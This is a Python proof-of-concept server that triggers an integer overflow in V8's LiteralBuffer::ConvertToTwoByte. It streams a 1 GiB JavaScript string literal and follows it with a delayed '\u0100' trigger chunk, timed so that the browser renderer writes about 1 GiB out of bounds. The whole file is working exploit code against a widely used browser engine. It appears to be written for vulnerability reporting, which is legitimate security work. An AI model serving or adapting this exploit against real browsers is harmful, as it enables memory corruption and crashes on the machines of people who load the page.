#!/usr/bin/env python3
"""
HTTP server for the LiteralBuffer::ConvertToTwoByte integer-overflow POC.

Serves:
  /poc.html  - landing page with <script src="evil.js">
  /evil.js   - streamed JavaScript whose body is:
                   "<0x40000000 'A' bytes>\u0100";
               The 0x40000000 ASCII bytes drive LiteralBuffer.position_ to
               0x40000000; the trailing escape sequence "\u0100" forces
               ConvertToTwoByte(), where position_*2 overflows int and the
               in-place uint8->uint16 expansion writes ~1 GiB out of bounds.

The trigger ("\u0100";) is sent as a separate tiny chunk after a delay so
that the V8 background-parse thread reaches the overflow before Blink's
parallel ScriptDecoder thread (which would otherwise hit an unrelated
StringBuilder size CHECK on the same chunk).
"""
import socket
import sys
import time
from http.server import HTTPServer, BaseHTTPRequestHandler

PORT = 8080

# Phase 1: opening quote + (0x40000000 - 1) 'A' bytes  ==  exactly 0x40000000
# bytes total. After V8 consumes these, LiteralBuffer.position_ == 0x3FFFFFFF
# and Blink's ScriptDecoder StringBuilder.length_ == 0x40000000 (no expand
# yet). After phase 1 we sleep so the data pipe fully drains.
#
# Phase 2: one more 'A' (position_ -> 0x40000000) immediately followed by
# the escape "\u0100" -> AddLiteralChar(0x0100) -> ConvertToTwoByte().
PHASE1_LEN   = 0x40000000          # 1 GiB exactly
PHASE2       = b'A\\u0100";'       # 9 bytes
TOTAL_LEN    = PHASE1_LEN + len(PHASE2)
TRIGGER_DELAY_SEC = 30             # let V8 fully drain phase 1 before trigger

CHUNK = b"A" * (1 << 20)           # 1 MiB write unit

POC_HTML = b"""<!doctype html>
<html><body>
<h1>LiteralBuffer::ConvertToTwoByte integer overflow</h1>
<p>Streaming a 1 GiB string literal; renderer crashes when the trailing
<code>\\u0100</code> forces ConvertToTwoByte() with position_ = 0x40000000.</p>
<script src="evil.js"></script>
</body></html>
"""


class Handler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if self.path == "/poc.html" or self.path == "/":
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(POC_HTML)))
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(POC_HTML)
            return

        if self.path == "/evil.js":
            self.send_response(200)
            self.send_header("Content-Type",
                             "application/javascript; charset=utf-8")
            self.send_header("Content-Length", str(TOTAL_LEN))
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            try:
                # Reduce kernel buffering so our sleep() actually marks a
                # chunk boundary at the far end.
                self.connection.setsockopt(socket.IPPROTO_TCP,
                                           socket.TCP_NODELAY, 1)
            except OSError:
                pass

            # ---- Phase 1: '"' + 0x3FFFFFFF 'A' bytes (== 0x40000000 bytes)
            self.wfile.write(b'"')
            remaining = PHASE1_LEN - 1
            sent = 1
            t0 = time.monotonic()
            while remaining > 0:
                n = min(remaining, len(CHUNK))
                self.wfile.write(CHUNK[:n])
                remaining -= n
                sent += n
                if sent % (64 << 20) == 1:
                    sys.stderr.write(
                        f"[server] evil.js: sent {sent >> 20} / "
                        f"{PHASE1_LEN >> 20} MiB "
                        f"({time.monotonic() - t0:.1f}s)\n")
            self.wfile.flush()
            sys.stderr.write(
                f"[server] evil.js: phase 1 complete "
                f"({time.monotonic() - t0:.1f}s) -- sleeping "
                f"{TRIGGER_DELAY_SEC}s before trigger\n")

            # ---- Let V8 fully drain phase 1.
            time.sleep(TRIGGER_DELAY_SEC)

            # ---- Phase 2: one more 'A' + "\u0100" + closing quote.
            sys.stderr.write("[server] evil.js: sending trigger chunk\n")
            self.wfile.write(PHASE2)
            self.wfile.flush()
            return

        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] " + (fmt % args) + "\n")


if __name__ == "__main__":
    httpd = HTTPServer(("127.0.0.1", PORT), Handler)
    sys.stderr.write(f"[server] listening on http://127.0.0.1:{PORT}/poc.html\n")
    httpd.serve_forever()
